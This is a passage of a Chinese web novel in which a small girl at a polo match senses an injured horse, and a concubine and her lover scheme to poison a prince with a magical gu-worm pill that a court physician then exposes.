陆清嘉是个没心没肺的,自己在小伙伴面前吹足了牛皮,如今,请帖送到了,团团也答应去了,他也没旁地惦记的了:“那我回去啦!团团!马球赛见!小话梅!回啦!“ 小话梅从团团的肩头飞起,在她的头顶盘旋了一圈,落在陆清嘉的手上,大喊着“回啦!回啦!“跟着主人离开了王府。 萧宁辰望着他的背影,眉头皱了起来:“马场上尘土飞扬,马球赛又经常有人受伤,团团不适合去。“ 团团撅起了嘴,有些泄气,萧宁珣看着很是心疼:“二哥,我陪着团团去,不会让她出事的。“ 萧宁辰看了弟弟妹妹一眼:“此事由母亲来决定吧。“ 晚膳时,兄弟俩将这件事告诉了母亲。 “娘亲!我想去!可以吗?”团团看着王妃,大眼睛湿润润的。 程如安微微一笑:“可以,不过,要让你三哥跟你一同去。“ “好哎!好哎!“团团欢呼起来:“可以去看马儿赛啦!” 萧宁辰嘱咐弟弟:“多带几个人跟着,切记别让她离开你眼前。“萧宁珣点头应了。 次日一早,萧宁珣带上萧二和其他几个王府的侍卫,陪着妹妹来到了上林苑。 第27章 追风的脚很痛呢 上林苑位于京城近郊,是一处依着平坦开阔的草甸而设的跑马场,专为京城的权贵们玩马而建。 占地颇为庞大,因今日有马球赛,所以四周被结实的朱漆木栏围出了一个椭圆形的场地。 场地两端各立着一根坚实的木柱,柱高约一丈,顶端托举着一方精雕细琢的木质小阁,小阁中央有一个径约一尺的圆孔,称为球室。 参赛者分为两队,人数相当,乘马驰骋,以球杖击球,将球击入对方场地的“球室”中便算是赢得一筹。 计分台位于场地外的高台之上,在约定的时间内,获得筹数多的一方,即为胜者。 马球赛是当朝权贵们喜爱的一种游戏,每一次盛大的比赛都会吸引无数达官贵人以及他们的家眷到此观看。 团团第一次来上林苑,只觉得眼睛都不够用了,看什么都觉得新鲜,小手不停地指这指那,这是什么,那又是什么。 萧宁珣耐心地给妹妹一一解答。 场地两侧早已搭起数座彩棚锦帐,遮挡烈日,女眷们已经到了不少,都在锦帐中落座休憩,等待球赛开始。 衣香鬓影,语笑嫣然,热闹非凡。 下人将他们引到专为宁王府而设的锦帐中。 只见帐里:地上铺着厚实绵软的绒毯,中央摆着一张剔红案几,案上摆放着一套精致的茶具,旁边的碟子里,盛着各色时新果子和精致茶点。 萧宁珣微微点头,陆二今日这布置还算妥当,不算委屈了妹妹。 二人刚坐下,陆清嘉便跑了进来:“盟主!想不想去看看我的马?“ “想去!“团团拉着萧宁珣的袖子:”哥哥,咱们去嘛!咦,小话梅呢?“ 陆清嘉道:“小话梅在家呢!马跑起来声音可大了,它害怕,这地方可不能带它来。“ “哦。“团团有些失望,还以为能再抱抱小话梅呢。 萧宁珣牵着她的手:“小话梅没来,咱们可以去看马啊。” 也对啊!还有马儿呢!团团高兴起来,两人跟着陆清嘉,来到了位于赛马场后方的马厩。 陆清嘉喊了一声:“顺子!把追风牵出来!” 马僮顺子闻言将一匹骏马从马厩里牵到了他们面前。 追风通体深栗色,光亮的皮毛在阳光下流动着锦缎一般的光泽,唯有四只蹄踝之上寸许,生了一圈皎洁如雪的长毛,看起来神俊异常。 “好马!”萧宁珣不禁喝了一声彩。 陆清嘉得意地抬了抬下巴。 “哇哦!”团团仰着小脑袋望着追风:“你好高哦!” 她小小一只,站在追风面前,头都快仰过去了,也没看到追风的正脸。 萧宁珣连忙将她抱了起来,团团坐在他怀里,高度正好跟追风脸对脸。 追风较寻常马匹更为高挑矫健,马头小巧精致,一双大眼睛如同巨大的黑曜石,澄澈明亮。 “追风!我是团团!一会儿你要跑吗?” 陆清嘉道:“当然!我一会儿就会骑着它上场,它跑得可快了,肯定能夺魁首!” 这时,一个少年跑了过来,嘴里喊着:“陆二!我跟你说—” “白简行。”陆清嘉瞪他:“我快上场了,你少废话,滚远点。” 白简行“嘿”了一声,倒是识趣,把嘴闭上了。 他扭头看见抱着团团的萧宁珣,拱手行礼:“萧兄好。”萧宁珣点了下头,算是回礼。 他的目光落在了团团身上:“这便是你整日里说的,收服了万灵苑里那只雪豹的盟主?” 团团指了指自己:“对啊!我就是盟主!” 白简行眼睛一亮:“小盟主,我也是少年游盟会的哦!咱们明日就去万灵苑好不好?你摸雪豹的时候,也让我摸一摸,我跟你说,那只雪豹啊可厉害了,上次我去的时候—” “闭嘴。”陆清嘉和萧宁珣都知道他这嘴碎的毛病,一说起来便没完没了,于是异口同声地喝止了他。 白简行立刻收声,还在嘴上比划了一下,意思很明显:我不说话了还不行吗,团团看得咯咯直笑,这个小哥哥真好玩。 团团伸出小手,手心向上,慢慢靠近追风,萧宁珣担心马会伤了妹妹,始终跟追风保持着一定的距离。 追风晃了晃大脑袋,打了个响鼻,凑近了她的手,轻轻喷了一大口热气。 热气喷在手心里,痒痒的,团团忍不住缩了缩手,追风将头伸得离她更近,追着她,团团摸了摸它的额头,又捏了捏它的耳朵。 顺子在一旁看着,惊讶道:“这位小姐跟追风初次见面居然就能如此亲密!我喂了它好几个月,它才肯让我摸它耳朵。” 陆清嘉是见过团团摸雪豹的,一点儿没惊讶:“那当然啦!咱们的小盟主,那可是连雪豹都能伸手就摸的主儿!” 白简行瞪大了眼睛:“果然厉害!陆二,这个盟主我认了!” 追风把头压得更低,追随者团团的小手,像是还要她继续摸,团团没让它失望,摸完了耳朵又去摸它颈后的鬃毛。 此时,第一通开场鼓响了,开场之前会击三通鼓,催促参赛者们入场,第三通鼓声一旦停了,迟到者皆不许入内。 陆清嘉一听:“小盟主,我要上场了,等回来你再摸。” 团团一听,收回了手:“追风要赢哦!我给你加油!” 追风垂下了头,两个后蹄交替着开始不停地刨地,一副急不可耐要出去跑一跑的样子。 萧宁珣抱着团团刚想转身离开,团团突然喊了一声:“追风病啦!它很痛!” 陆清嘉疑惑地围着追风走了一圈,仔细地端详了一番,抬眼看向顺子。 顺子忙道:“二少爷!我可是一直跟伺候您一样的伺候着它,今儿的料它一口都没少吃!” 白简行扑哧一笑:“你家二少爷在府里原来跟追风是一个级别的。”陆清嘉瞪了他一眼。 萧宁珣看了看妹妹,柔声道:“追风哪里痛啊,团团?” 团团小手指向追风的右后腿:“它的那只脚脚,踢地的时候明明就是很痛!不能跑的。“ 顺子急忙过去,摸了一遍那条腿:“没事儿啊,骨头很好,也没有外伤。“而后又把马蹄翻过来,仔细查看。 陆清嘉和白简行也凑了过去,目不转睛地盯着看。 “哎呦!“顺子发现了问题,不禁喊出了声:”这是谁干的!黑心肝的东西!“ “怎么了?“陆清嘉连忙问,他什么都没看出来。 此时,传来了第二通开场鼓的声音。 顺子来不及解释:“二少爷,身上有没有火折子?“ 陆清嘉摇了摇头:“我马上要上场了,哪会带那东西。” 第28章 谁赢追风就归谁 “我有!“白简行从怀里掏出了一个精巧的火折子,递给了顺子。 顺子点燃火折子,慢慢靠近马蹄,低声安慰追风:“好马儿,别动啊,我给你治病。“ 但火折子稍一靠近,动物对火的天然抗拒,就令追风不安地撤回了马腿,往一旁躲,死活都不肯让顺子再碰。 鼓声停了,陆清嘉焦躁起来:“马上就要开赛了,你快点儿!“ 顺子无奈了:“二少爷,要不你换别的马吧,追风不让动,它上场也跑不了啊。“ “别的马?别的马能跟追风比吗?你这是让小爷我上场丢人去?“ 顺子两手一摊:“这,这我也没办法了。“ 团团搂着萧宁珣的脖子,在他耳边说:“三哥哥,抱我过去。“ 萧宁珣抱着团团走近了追风。 团团伸出小手轻轻的抚摸它的大脑袋:“追风乖啊,他是在给你治病呢,病好了,才能跑的快快的!小乖乖,别动哦。我摸摸你,就不怕啦!“ 追风一双大眼睛看着团团,黑亮的瞳仁里映出了团团的小脸,它慢慢安静了下来,主动抬起了腿。 顺子一看,急忙又点燃火折子,掌握着一定的距离,用火苗的顶部在它的马蹄上来回移动。 片刻后,啪嗒一声,一块小小的,尖锐的石子落到了地上。 顺子长呼了一口气:“成了!“ 追风放下腿,踢了踢地面,仰头发出了一声嘶鸣。 顺子捡起那块石子:“二少爷你看,有人用蜡,把这么尖的石子固定在蹄铁跟蹄底的缝儿里,追风若是这样上场,只会越跑越痛。“ “马儿虽然护主,但若是它忍不了了,发起性子来,定会将你甩下来的!“ 陆清嘉一听脸色就变了:“哪个混账羔子干的!这不是要小爷的命嘛!“ 顺子催他:“您赶紧入场吧!追风已经没事儿了,爷您尽管放心大胆地骑!“ “哼!为了让不让小爷赢,竟使出这样龌龊的阴招!追风!咱们走!今日定要杀他们个片甲不留!“ 说完他翻身上马,冲着团团说:“小盟主!多谢你啦!回帐子里看我比赛吧。今日我定要赢了他们!“ 团团点了点头:“你一定能赢!追风加油!“ 陆清嘉纵马狂奔,赶在第三通鼓声响起时,跑进了马球场。 萧宁珣抱着团团,和白简行一起,回到了锦帐中。 赛场上,两队人马都到齐了。 陆清嘉带领的一队,穿的都是红色的骑马服,对面一队穿的则都是青色的骑马服,双方都骑在马上,目光不善地互相打量。 青队中领头的少年,神情倨傲地盯着陆清嘉坐下的追风:“这就是你宝贝的不得了的那匹千里马追风?“ 他骑术颇佳,娴熟的拉动缰绳,围着陆清嘉转了一圈:“确实是一匹好马啊,可惜啊,你的主人配不上你!“ 陆清嘉沉着脸,周景安?莫非就是他动的手脚?但此刻无凭无据,断不能就此当面指责,否则,以他那个跋扈不讲理的性格,定是要纠缠不休的。 “配不上又如何?“陆清嘉嘴皮子也麻利:”你倒是配得上你骑的那匹只配拉车的马!“ “周景安,有本事你今日就赢了我,否则,就干脆认输,省得一会儿丢人现眼,被追风追得摔个狗吃屎!“ 周景安哼了一声:“赢你还不容易?今天就让你看看,你骑着这匹千里马是怎么输给我的!陆二,你若是不服,咱们不妨打个赌,谁赢了,追风便归谁,敢不敢?“ 二人都没控制音量,宁王府的锦帐又位列最前,两人斗嘴的声音清晰地传入了帐中。 团团好奇地问:“那个人是谁啊?“ 白简行嘴皮子飞快,萧宁珣还没来得及开口,他已经抢着回应了团团:“他啊!是靖海侯的老来子,家里全都宝贝的要命,一贯骄纵的不像样子,跟陆二一直不对付。“ “听说陆二得了一匹千里马,他便不服气起来,让他爹四处去寻,扬言非要找到一匹比追风更好的。 “可惜,时过多日,也没能找到。听说啊,为了这事,他发了一顿好大的脾气,把他爹珍藏的字画都给毁了。“ “我看啊,追风脚上的石子,就是他干的!” 萧宁珣接口:“难怪。虽说马球赛只是游戏,并非两军对战,但手段如此卑劣,可见靖海侯家教堪忧。“ 团团只听懂了一句:就是这个周景安让追风生病的。她气得鼓起了腮帮子:“坏蛋!追风又没有踢他,干嘛害它啊!“ “就是!就是!“白简行立马接上了:”小盟主说得对!“ 第三通开场鼓停了,高台上,都裁高声向大家宣布比赛规则: “今日球赛,共分三场,每场以一炷香为限,锣响开始燃香,香尽锣响即止,得筹多者胜!“ 陆清嘉望着周景安得意洋洋的模样,为了让我输,你竟然暗下黑手,看我怎么光明正大的赢你!心中一股豪气上涌,抬起球杖指着周景安:“小爷今日就跟你赌了!谁赢追风就归谁!“ 周景安唇边滑过一抹志在必得的微笑:“有胆色!不过,你是注定会输给我的!陆二,到时候可别不认账。“ 锣声敲响,都裁把球抛向场中央,两队少年一拥而上,杆影交错,马蹄声瞬间便响成了一片。 马儿们奋力奔跑着,双方你来我往,战况焦灼,团团紧紧地抓着萧宁珣一只手,看得眼睛都来不及眨一下。 红队每一次得筹,她都会欢呼雀跃好半天。 第一局结束,红队得三筹,青队两筹。 双方各回帐中暂时休息,陆清嘉跑进来,拿起桌上茶水便咕咚咕咚灌了下去。 他擦了擦嘴:“周景安最要面子,今日居然跟我打这么大的赌,我看就是他暗算的追风!看我怎么赢得他哑口无言!“ 团团往他的嘴里投喂了一颗枣子,“加油!赢他赢他!“ 陆清嘉使劲一点头,转身又回到了赛场上。 第二局开始了,青队调整了战术,压制住了红队的攻势,扳回了一场,两局结束,双方各得5筹,战成了平手。 很快,决定胜负的第三局开始了,红队虽然开场便暂时落后了一筹,但攻势却越来越猛,隐隐占了上风,萧宁珣微微一笑:“陆二能赢。” 此时场上正在控球的一名红队成员正向着青队的球室狂奔,青队马上赶上来两人,将他夹在中间,三人并驾齐驱。 电光石火间,一名青队队员的坐骑似是因地面不平而突然失了半步,马身极为“巧合”地向外一挤,马鞍上坚硬的金属鞍桥,不偏不倚地重重撞在了红队队员的小腿外侧! “呃啊!” 钻心的剧痛瞬间袭遍半身,那名队员手一松,没能握住缰绳,从马上滚落下来。 “铛——!”锣声急促响起,中止了比赛。 红队其他人见状立刻围拢过来,既焦急又愤慨:“干什么你们!打不过就伤人吗?这么下作!” 第29章 马儿赛太好玩啦 青队的人也都围了过来,反唇相讥:“他自己骑术不精,关我们何事!马球赛受伤本就是平常事,干嘛?想诬陷我们?“ 参赛的都是血气方刚的少年,气氛顿时紧张起来。 都裁从高台上下来,赶到场上,检查了一下伤者的伤势,倒也不是很重,但想要继续上马参赛是不可能了。 正如青队所说,这样的碰撞在激烈的比赛中最是常见,很难抓住真凭实据,判定是否是故意为之。 他举起手,高声宣布:“来人!把他抬下去疗伤!红队缺一人,是否继续?” 陆清嘉眉头深锁,双方实力都不弱,可以说是势均力敌,若在缺失一人的情况下继续,赢的机会几乎微乎其微。 周景安看着他为难的样子,脸上的得意半点都没遮掩:“陆二,认输吧,你根本不可能赢,追风注定是我的。小爷我想要的东西,从来就没有得不到过!“ 陆清嘉望着他,双眼几乎就要喷火。 都裁看了看他俩:“两位公子可有决断了?继续还是以当下的得筹判定输赢?“ 陆清嘉望向计分台,红队落后一筹,若此时放弃,追风便要归周景安了。 他咬了咬牙,看向自己的队员,几个玩伴因为同伴受伤,都同仇敌忾:“陆二!你做主!你要打,咱们便继续打!“ 怎么都得拼一把!就这样认输,他得郁闷而死,拼尽全力,哪怕打个平手也行啊! “继续!缺一人又如何?缺一人他们也未必能赢!“ 周景安嗤笑一声:“不自量力!“ 都裁返回高台上,高声宣布比赛继续,此时香已只剩下三分之一,很快便要燃尽了。 锦帐中,团团握紧了刚才吃完枣子还没来得及扔掉的枣核,气得小脸通红:“大坏蛋!大坏蛋!” 萧宁珣轻轻摇头,今天的球赛,陆二显然是不可能赢了。 连一贯吊儿郎当的白简行,都没再喋喋不休地废话,眼睛紧紧地盯着场上,攥紧了双拳。 红队因缺了一人,被青队打得只能全力防守,无力再进攻,青队已经占据了绝对的优势,几个少年说说笑笑,故意放慢进攻的节奏,拖延着时间。 现在已经领先了一筹,只要将红队打得无反手之力,将这个优势保持到最后,便赢定了。 周景安更是一副志得意满的得意样儿,见红队的防守露出了空挡,他大笑一声,猛地一夹马腹,策马狂奔,意图趁势再拿一筹,彻底锁定胜局。 他伏低了身子,紧盯着前方滚动的马球,计算着挥杆的最佳时机。 就在他冲至场边、即将转弯加速的刹那。 “陆二说要你摔个狗吃屎!吃一嘴泥!”团团将手里的枣核使劲扔向帐外。 萧宁珣心中一震,顺着枣核被扔出时划出的弧线看去,果然,微光一闪,枣核不见了。 与此同时,周景安的马像是踩到了什么圆滑的东西,猛地向前平滑出去,瞬间失去了平衡! 萧宁珣马上扭头去看白简行,只见他紧紧盯着球场,并未注意到妹妹方才的动作,顿时心下稍安。 “唏律律——!” 周景安的坐骑发出一声惊恐的嘶鸣,马身向前倾塌下去。 他脸上的笑容瞬间凝固,甚至都没来得及惊呼,整个人就被巨大的惯性甩飞了到场外。 在全场无数道目光的注视下,这位靖海侯府的宝贝疙瘩、方才还不可一世的青队队长,在空中手舞足蹈地飞出了一小段距离,然后—— “嘭!”的一声,结结实实、五体投地地砸在泥土之中。 华贵的骑装沾满了尘土,头上的白玉发冠应声飞脱,头发全都垂了下来,披散在脸上。 那张永远挂着盛气凌人的脸庞抬了起来,沾满了泥土,手撑着地面,“呸呸呸”地不停往外吐着草屑和黑泥。 整个马球场,陷入了一种诡异的沉寂。 片刻之后,“噗……”不知是谁先没忍住,发出了一声轻笑。 这一声笑仿佛点燃了引线,全场哗然,哄笑声、讥讽声、惊讶的抽气声瞬间如潮水般爆发开来。 锦帐中的夫人小姐们都笑得不得不用手中的团扇捂住了嘴。 “哎呦喂!周公子这……这是行的什么大礼啊?” “这可真是……平地起波澜啊!哈哈哈!” 红队众人先是一愣,随即爆发出畅快的大笑,其中属陆清嘉的笑声最为响亮,追风和同伴被暗算的憋屈,在这一刻终于烟消云散。 周景安吐掉嘴里的泥渣,羞愤欲绝。 他自幼众星捧月地长大,何曾受过如此奇耻大辱! “公子!公子您没事吧?”随从们纷纷跑了过来,想将他扶起。 “滚开!”周景安猛地甩开了下人的手,几乎是手脚并用地从地上爬了起来,巨大的羞辱感淹没了他,他再也不想再在此地多待一刻。 下人们不敢再碰他,也不敢离开,紧紧跟在后面,“滚呐!”他再度咆哮了一声,一瘸一拐,头也不回地逃离了赛场。 青队成员面面相觑,都愣住了,球赛还没完,队长走了? 陆清嘉大喊一声:“继续啊!弟兄们!” 青队阵脚已乱,溃不成军,红队全面反攻,迅速拿下两筹,锣声响起,比赛结束,红队以一筹之差,反败为胜。 白简行早已兴奋地冲出了锦帐,大喊着向陆清嘉跑去:“陆二!好样的陆二!“ 团团蹦了起来,搂住了三哥的脖子:“赢啦!赢啦!三哥哥!陆二赢啦!追风赢啦!马儿赛太好玩啦!” 萧宁珣环着不停在怀里往上窜的妹妹,也笑了:“是啊!陆二赢啦!追风不会被抢走了,团团最棒了!“ 团团得意地摇着小脑袋:“那个大坏蛋太坏了嘛!“ 赛后,白简行提议红队全员去酒楼吃酒庆祝,萧宁珣以妹妹太小为由,带着团团告辞了。 团团不舍地摸了摸追风的大耳朵:“我以后再来找你玩啊!“ 兄妹二人回到了王府。 刚在门口下了车,便看到有人正站在门外等候。 护送着他们回来的萧二眼睛一眯,这不就是……玄穹观中,与侧妃私会的那个男子! 第30章 奸夫上门了 萧宁珣见萧二神色有异,顺着他的目光看了过去:“这是何人?你认识?” 想起王妃的叮嘱,萧二赶忙摇头:“小人并不认识,只是看着有些眼熟。” 萧宁珣没有放在心上,领着妹妹走了进去。 萧二找了个借口耽搁了一会儿,留意着那人的动静。 只见男子递了张拜帖给门口的下人,下人拿了转身进府,不多时回来了:“请随我来。” 萧二隔着很远,悄悄地跟着二人,只见那人跟着下人,走进了凌霜阁。 萧二心中一震,侧妃娘娘,居然如此大胆? 下人回到门口继续当差,萧二佯装漫不经心地开口:“刚才那人是谁?外男怎可进入内宅?” 他是王府侍卫首领,询问此事理所应当,下人没有丝毫起疑:“帖子上写得清清楚楚,是侧妃娘娘的娘家表兄,姓江名远,奉长辈之命,来探望侧妃。” “小人回禀了侧妃娘娘,娘娘首肯,才将他引见了去。” “原来如此,既是侧妃家人,倒也无妨。” 萧二转头来到了静兰苑,将此事禀告了程如安。 程如安脸色阴沉,心中大怒,方清研!你竟公然在王府里会见奸夫!真当我们都死了不成! 她想了想:“光天化日,他不敢久坐,莫要惊扰,待他走后,你跟上去,摸清楚他的落脚之地。” “是。” 凌霜阁内。 方清研吩咐下人们都退下,将门掩好,不再掩饰脸上的不满:“你怎么这么便来了?” 江远拉着她的手坐下,眉头紧锁,脸色沉重:“没办法,此事万分紧急,我只能冒险前来。” “长话短说。还记得几年前我让你给他服下的那个药丸吗? 方清研想起来了:“怎么了?” “那不是寻常毒药,里面包裹的是蛊虫的幼虫。“ “什么?!“方清研忍不住一声惊呼。 “轻声些!正是因那蛊虫,他才会昏迷良久,即使醒了也成了痴呆婴孩。但那只是子蛊,我手里还养着一只母蛊。“ “几日前,母蛊突然终日焦躁不安,将我精心饲养的几只子蛊全给吞了。所以我猜测,他体内的那只子蛊已亡。而他,应该也已经彻底醒了。” “难道你就没有察觉近日王府中有哪里不对吗?“ 方清研一脸惊慌地捂住了嘴,仔细回想:“你这一说,还当真有些不太对劲,这些日子我每每想去探望,总被那边以各种借口推脱不让。那如今该怎么办?“ 江远递给她一个小小的褐色瓷瓶:“我已将母蛊封入药丸,你要想办法让他服下,母蛊为子报仇,一旦入体,便会逐渐将他的七窍逐一堵死,服下后月余方会毙命,完全不露痕迹。” 他紧紧盯着方清研的眼睛:“这一次咱们不能再等了,一定要彻底了结了他。“ “母蛊要在三日内进入人体,否则便会消亡,此事要快,千万不能耽搁。你不必担心,除非精研此道,一般的太医根本无法辨识,上次那个他们不也是没验出来吗?“ 方清研接过瓷瓶,目光闪动:“我知道了,你赶紧走,若待得久了,难保王妃那边的人不出面过问。“ 江远点了点头,故意提高了声音:“既是一切安好,侧妃娘娘请保重,为兄告辞。“ 说完装模作样的行了个礼,推开门走了。 方清研在屋中来回踱步,心乱如麻,如今自己根本进不了养正轩的大门,这药该如何才能让王爷服下? 让姝儿去?不行,我都进不去,姝儿若去,都不用王妃出面,她身边的刘嬷嬷一句话便能将她顶回来。 三日,只有三日,必须找个能进去的人才行。 她脚步一顿,唇边露出一抹微笑:“二爷,那就看你的了。“ 她起身来到静兰苑,禀告程如安,称这几日自己昼夜难安,夜夜梦魇,想来是多日没有回家,家中长辈多有记挂,请王妃首肯,明日回家探望。 程如安没有阻拦,点头应允。 这边,江远出了王府后,故意在街上绕了一大圈,时不时回头看向四周,确定无人尾随,才回到了自己的家中。 萧二一直在外面守到深夜,直到屋中烛火尽灭,确定了此处便是江远的住所,才返回王府,将位置禀告给程如安。 程如安微微颔首,“做得好,歇息去吧。“ “是。“ 程如安回到内室,看了一眼正在熟睡的团团,这孩子,今天一回来就不停地给她讲马球赛的事,兴奋得不得了,这会子睡得正香甜。 她给团团掖了掖被子,吩咐刘嬷嬷好生照看,起身来到了养正轩。 蛊虫被除,各种参茸补品日日不断,萧元珩恢复得很快,已经能在屋里来回走动,活动腿脚了,但还是以静养为主,此时他正在灯下翻看着一本兵书。 见妻子来了,二人相视一笑,萧元珩柔声道:“快过来。“ 程如安走过去,与他依偎在一起,缓缓地将江远登门,方清研明日回门,萧二尾随……都告诉了丈夫。 萧元珩冷笑:“看来他们马上便会有所行动,等不了了。“ 程如安靠在他胸口,只觉得心里万分踏实,有王爷在,这些宵小蹦跶得再欢,自己也不再担忧了。 “辛苦安儿了,明日你如此安排……“萧元珩在妻子耳边轻轻耳语。 翌日一早,方清研登上马车,回到了方府。 但她只待了半日,便又驱车来到了另一处宅邸。 敲开门后,径直走了进去。 下人识得她:“二爷现在书房。“ 书房内,萧元华将手中书卷放下,站起身迎了上来,将方清研一把抱进怀里:“你今日怎么来我这里了?“ 方清研一脸娇羞:“来看看你这个负心郎,你在这里逍遥自在,却将我留在那边独守空房。“ 萧元华捏着她的下巴将她的脸抬起来对着自己:“莫急,很快我便能继承王府,到时将老太婆和那几个庶子都赶出去,只留下你和咱们的姝儿。咱们一家,就能团圆了。“ 方清研一把推开了他:“还说什么团圆呢!他都已经彻底醒了,你还在这儿做美梦呢!“ 萧元华大惊失色:“你说什么?!“ 第31章 侧妃的计划 方清研将这些日子府中的情形告诉了他,并将蛊虫的事情也和盘托出。 掏出瓷瓶递给他:“她们现在对我们母女俩防备得紧,如今我连养正轩的大门都进不去,只能指望你了。“ 萧元华紧盯着手中瓷瓶:“这药,太医当真验不出来?“ “当真,此药无色无味,几年前让他昏迷不醒的那个,便是我将其放在汤中,给他服下的,当时太医恰好也在,当场验过,却什么都没看出来。怎么?二爷怕了?“ 萧元华将瓷瓶放在桌上:“怎么可能!我明日便回王府。对了,这蛊毒你从而得来?这可不是寻常之物啊。” 方清研垂下眼帘,眼底滑过一丝惊慌,随即镇定下来:“我方家也曾位列二品,如今虽然败落,但从前府中养着的异士也不少,这蛊毒,正是一个老仆献给我的。” 她含情脉脉地看着他,有意转变话题:“二爷,你本是世间英豪,只因身为庶出,才无论什么都被他压了一头,王府的荣耀,财富,地位都归他所有,妾身对此深为不平。” “妾身甘冒奇险,与你暗通款曲,更为你生下了姝儿,他日你继承了王府,可不能忘了妾身母女啊。” 萧元华听后,大为感动,只觉得眼前女子是世间唯一了解自己的人,自己的雄心,才干,不甘,也只有她能懂。 他情不自禁地伸手将方清研抱进怀里,嘴唇压了上去,二人宽衣解带,纠缠在一起。 一个时辰之后,方清研回到了王府。 次日,萧元华果然来了,一进府便来到养正轩外求见。 众人都在,萧元珩急忙躺下,闭好眼睛,程如安给他盖好被子,冲着兄妹三人“嘘”了一下。 团团使劲点头,还伸出小手拍了拍萧元珩:“爹爹乖乖地躺着睡,不要动哦!” 萧元珩忍不住唇角微微勾起,随即赶忙压了下来。 老夫人这才开口:“进来吧。” 萧元华大步走了进来,行礼后落座,一脸喜气:“母亲!嫂夫人!天可见怜!王兄有救了!“ 说着,小心翼翼地掏出一个看着便十分昂贵精致的白玉瓶,双手捧给程如安:“请嫂夫人速将此药给王兄服下。” 程如安接过来,打开瓶塞,将药丸倒在手里,仔细端详。 老夫人看了看:“华儿,这药是?” “此药名为‘九转还魂丹’!来自滇南僻远之地,出自一位隐世不出的药王耆老之手!” “当真是功夫不负有心人啊!我踏破铁鞋,耗费千金,苦苦寻访方才找到此一枚!” “此药能固本培元,重燃生机,服下后如春风化雨,润泽枯木,必能护住王兄心脉,唤醒他的神智!” 他语速极快,一脸真诚,将毒药说成了灵丹,一边说,一边用眼角的余光偷偷打量着萧元珩,还是那副活死人的鬼样子嘛,看起来与从前没什么区别。 团团扒着程如安的手,探着小脑袋看着那药丸:“娘亲!” 程如安抬手摸了摸她的小脸:“乖,先不说话啊,二叔好不容易过来,先听他说。” 萧元华不悦地看了一眼团团:“长辈们讲话,不要插嘴。” 团团瘪了瘪小嘴巴,萧宁珣将她抱了起来:“我带她出去玩。” 程如安点头:“去吧。” 萧元华滔滔不绝,将那药丸的功效说得天花乱坠。 程如安思索片刻:”先多谢二叔了,但此药既然功效如此卓越,想必王爷服下后,立时便会有所反应。“ 她看向老夫人:“母亲,儿媳以为,此药服下时,若太医能在一旁,则更为妥当。正好明日郭太医便会来诊脉,不如,明日待郭太医来了,再给王爷服下?“ 萧元华连忙接口:“何必等到明日?即刻去将郭太医请来便是。“ 程如安不说话了,老夫人接了口:“郭太医隔日便来一次,昨日方才来过,他年岁也大了,又非急事,骤然去请,甚为不妥。药既已寻到,再多等一日又何妨?“ 萧元华怕再坚持下去露了马脚,只得同意。 程如安将药还给他:“二叔为王爷寻药,实在辛苦,今日便在府中住下吧,正好明日一同看王爷服药。“ 萧元华正有此意,不亲眼看见萧元珩把毒药吃进去,他也不放心:“多谢嫂夫人。“行了礼后,便退了出去。 萧宁珣带着妹妹在养正轩的院子里玩耍,并未走远,见他出了养正轩,马上领着妹妹回到了父亲的床前。 团团扑到萧元珩的怀里:“爹爹!那个药是坏的,不能吃!“ 萧元珩早已坐起,抱着女儿,香香软软的小身子靠在自己胸口贴贴,心中欢喜:“坏的啊?团团怎么知道?” 团团的小手玩着爹爹的衣领:“我就是知道!那个药啊,它长了嘴哦,吃下去会咬人的!” 程如安想起了那条诡异的虫子,心里一颤:“王爷!” 萧元珩冲她摇了摇头:“不必担忧,团团比太医都灵!有什么可担心的?” 把女儿的小脸举到自己的脸前,使劲亲了一口:“爹爹的好闺女!谢谢你告诉爹爹,爹爹听你的,不吃那个药。” 爹爹听我的话呢!真是好爹爹!团团高兴地回敬了他一个亲亲,在他的怀里撒着欢的来回滚动。 夜深了,程如安等团团睡熟,来到养正轩。 “明日一早,派人去跟郭太医说一声,让他晚间再来王府,元华那里,告诉他,郭太医出诊去了,至晚方归。等郭太医到了,再让他过来。” “即刻起,将凌霜阁封了,所有人不许出入。” “吩咐萧二,现在便去,趁着夜色,把那个江远拿了,莫要惊动他的邻里,关进府中私牢,给他半日的时间,给我把所有的事情都问出来。” 程如安听了丈夫的话,有些不解:“为何明日晚间才让郭太医过来?” 萧元珩看着她:“大人们之间的恩怨,与孩子们无关,明日等他们都睡下,再发落这些人。 “尤其是团团,那孩子一身灵气,如此纯净,这些个腌臜事,悄悄处置了便好,莫要让她沾染分毫。“ 程如安懂了:“还是王爷想得周到,我这就去安排。“ 第32章 哇!好炸裂啊 次日晚间,养正轩第一次灯火辉煌,大门敞开,侍卫们携刀披甲,将内外守得严严实实。 萧元华一踏进来,就感觉不对,他脚步迟疑,顿了顿,转头刚想离开,萧二却出现在眼前,拦住了他:“二爷,请。“ 萧元华讪讪地笑了笑:“好,好。“ 跟着萧二,他意外地发现,不是像平时那样走向内室,而是来到了正厅。 “二爷,请坐。“萧元华点了点头,惴惴不安地坐了下来,心里慌得直打鼓:”怎么来了这里?“ 萧二端来热茶,很客气:“二爷稍安勿躁,请用茶。” 萧元华无奈,只能老老实实地坐下喝茶,心中越来越不安。 莫非,王兄知道了什么?但药还在我手中,他又没有服下,又能拿我如何?稳住,稳住,很可能什么事都没有,只是王妃在虚张声势,诈我而已。 想到这里,他坐直身子,摆出了一副镇定自若的样子。 又过了半晌,郭太医跟在程如安身后,两人从内室走了出来。 王妃坐在上首:“郭老,请坐,天色已晚,却还要劳动你来王府,真是辛苦了。” 郭太医急忙欠身行礼:“老夫职责所在,王妃不必客气。” 程如安看向萧元华:“二爷,请将药拿出来,给郭太医过目。” 萧元华心里踏实了,果然没有猜错,这个嫂夫人,就喜欢端着王府正妃的架子,看来清研平日没少在她手里受委屈。 他掏出那个白玉瓶,双手捧着,小心翼翼地递给了郭太医:“郭老您可拿好了,世间仅此一枚,珍贵得紧。” 郭太医稳稳地接了过来,打开瓷瓶,将药丸倒入掌心。 他仔细地看过之后:“取一碗清水来。” 下人马上端来了一碗清水,放在他身旁的桌案上。 他毫不迟疑,将药丸放进了清水中。 萧元华猛地站起:“郭太医你!” 郭太医并没理他,而是继续望着水中的药丸,只见那药丸的外皮逐渐被水浸透,出现了些许裂纹。 他从怀中掏出了一个小小的铜铃,放在碗边,开始轻轻摇动。 萧元华一脸疑惑:这老头在干嘛?疯了吗?对着碗水摇铃铛? 片刻之后,郭太医道:“二位请看。“ 只见随着铃声不停响起,药丸中逐渐显现出一条细细的黑影,与上次萧元珩手中爬出的那条一模一样,只是更粗更黑,更狰狞可怖。 